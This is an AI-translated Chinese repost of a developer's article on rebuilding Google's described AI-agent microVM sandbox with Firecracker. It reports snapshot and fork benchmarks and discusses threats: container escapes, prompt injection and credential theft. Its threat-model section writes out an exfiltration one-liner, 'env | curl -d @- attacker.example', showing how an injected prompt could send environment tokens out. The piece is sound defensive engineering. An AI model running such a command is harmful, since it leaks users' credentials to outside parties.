开发者用 Firecracker 复刻 Google AI 代理沙箱并实测性能
来源标题:Google Described Its Agent Sandbox. I Built One with Firecracker and Measured It
为验证 Google 描述的 Agent Compute Engine 架构,开发者用约 2200 行 Go 代码在 Firecracker 上复刻了该方案并实测。裸机上快照恢复耗时 25 毫秒,比冷启动快 26 倍,64 个并发 fork 约 150 毫秒全部就绪。但在 Mac mini 的嵌套虚拟化环境下,12 个并发 fork 始终未能就绪。
以下正文由 AI 翻译自 Hacker News(原文版权归原站所有),可能存在偏差,重要内容请以原文为准。
10 月 22 日,Google 介绍了 Agent Compute Engine:每个 AI agent 会话都有自己的 microVM,模型思考时会对该 VM 做检查点,从热快照以写时复制方式克隆,并且不分配网卡。你现在还用不上它,而且那篇文章没有给出任何延迟或密度数据。于是我用 Go 写了大约 2,200 行代码,在 Firecracker 上实现了同样的模式,并在两台机器上做了测量。一个 512 MiB VM 的 64 个空闲 fork 在宿主机上各占约 3 MiB 内存。在裸金属上,一次快照恢复耗时 25 ms,比冷启动快 26 倍,同时启动的 64 个 fork 全部就绪约需 150 ms。在一台 Mac mini 上,嵌套虚拟化环境下同时启动的十二个 fork 根本没有就绪,而这次失败给我的启发最大。
在 Google Cloud 的深度文章中,每个 agent 会话都获得一个硬件隔离、单租户的 microVM,Google 的宣传是“容器速度与密度下的 VM 隔离”。预览版“将在未来几个月内”推出。文章没有给出启动、恢复、密度或成本数字,也没有说明使用的是哪种 hypervisor。
同一天,在圣何塞的 AGNTCon + MCPCon 上,Agentic AI Foundation 接纳了四个新项目。其中两个是执行环境:阿里巴巴的 OpenSandbox,以及来自 Meta-PyTorch 和 Hugging Face 的 OpenEnv。对 agent 沙箱来说,这是忙碌的一周。
我想知道,今天用开源组件能构建出 Google 设计的多少部分,以及成本是多少。于是我在 Firecracker 上构建了四个部分:
代码在配套仓库中。它包含一个基于 firecracker-go-sdk 的 orchestrator、一个在 guest 内运行的 agent、一个 230 行的出站代理,以及一个输出 CSV 的基准测试工具。本文中的每个数字都来自这份代码,运行在 Results 部分描述的机器上,或链接到其来源。
Google 的文章更多是在解释系统做什么,而不是怎么做。当我描述他们的系统时,我会说明哪些部分是 Google 明确陈述的,哪些是我的推断。
编码 agent 的日常就是运行没人审查过的代码:它刚写的代码、它刚安装的包、它在 README 里找到的脚本。这些代码背后的 prompt 可能包含从网页或 issue 评论注入的指令。所以假设工作负载是恶意的,并且在沙箱内拥有 root 权限。
容器共享宿主内核,因此隔离只有在工作负载无法触及系统调用面、命名空间代码或容器运行时中的 bug 时才成立。这类 bug 不断出现。在 CVE-2024-21626 中,runc 将宿主文件描述符泄漏到容器中,而一个精心构造的工作目录将其转化为对宿主文件系统的访问。一个拥有 shell 且有一定动机的 agent,正是那种会找到下一个漏洞的租户。
gVisor 通过在用户空间重新实现系统调用来缩小攻击面,这是一个合理的折中方案。microVM 则移动了边界。guest 运行自己的内核,宿主仅通过 KVM 暴露少量虚拟设备:块设备或 pmem、vsock 以及串口。
这覆盖了问题中内核的那一半。另一半是凭证。与 GitHub 或包注册表通信的 agent 需要 token。如果 token 位于沙箱内的环境变量中,一次 prompt 注入只需要 env | curl -d @- attacker.example,硬件隔离对此无能为力。
Google 的文章区分了四种身份:
guest 通过每 VM 的本地监听器获得一个临时 SPIFFE 证书和一个短期 token。它没有刷新 token、没有服务账号密钥,也没有元数据服务器。真实凭证在 VM 之外的 Agent Gateway 处添加,添加前会检查会话的 mTLS 身份和出站策略。
我从中得到的想法是:宿主决定沙箱的身份是什么,而 guest 从不持有授予真实访问权限的凭证。我的实现用简单得多的组件保持了这两个特性。
两者都是基于 KVM 的 Rust VMM,并且都使用 rust-vmm crate。
Firecracker 是极简的那个,为 Lambda 和 Fargate 而构建(NSDI '20 论文)。其规范承诺从 InstanceStart 到 guest /sbin/init 最多 125 ms,VMM 开销最多 5 MiB。两者都适用于特定裸金属实例上的 1 vCPU、128 MiB guest。
以下是本项目依赖的 Firecracker 特性:
Cloud Hypervisor 有更大的设备模型(virtio-fs、vhost-user、VFIO、热插拔)。其写时复制恢复模式(文档)映射快照文件,使恢复的 VM 共享页缓存页,这正是整篇文章所依赖的特性。
我选择 Firecracker 是因为它的快照语义简单且有详细文档,并且它有 Go SDK。下面的内容并不特别依赖它。Google 没有说明其 hypervisor,我也不打算猜测。
Google 表示,预热快照镜像包含完全初始化的二进制文件。在宿主上,它们“使用 Direct Access (DAX) 和 Copy-on-Write (CoW) 内存克隆直接映射到物理内存”。DAX 避免重复的 guest 页缓存,因此 VM 为操作系统、库和二进制文件共享物理页。每个 agent 只需为其修改的页付费。
我的理解是,这描述了两个独立的机制,而两者都有开源等价物。
仓库支持两种模式:-rootfs-mode block(virtio-block)和 -rootfs-mode pmem(virtio-pmem,带 rootflags=dax)。在两种模式下,rootfs 都是只读的,每个 VM 共享一个镜像。guest agent 在 /work、/tmp 和 /run 上挂载 tmpfs,因此 agent 写入的任何内容都只落在自己的 RAM 中,不会到别处。
SDK 可以加载快照,但其生成的 API 客户端早于 vsock_override。SDK 将设置作为一系列命名 handler 运行,所以我替换了其中一个:
opts := []firecracker.Opt{ firecracker.WithSnapshot(snap.MemPath, snap.StatePath), func(m *firecracker.Machine) { m.Handlers.FcInit = m.Handlers.FcInit.Swap(firecracker.Handler{ Name: firecracker.LoadSnapshotHandlerName, Fn: func(ctx context.Context, m *firecracker.Machine) error {
(原文较长,此处译出前 6000 字,完整内容请点「打开原文」。)
正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。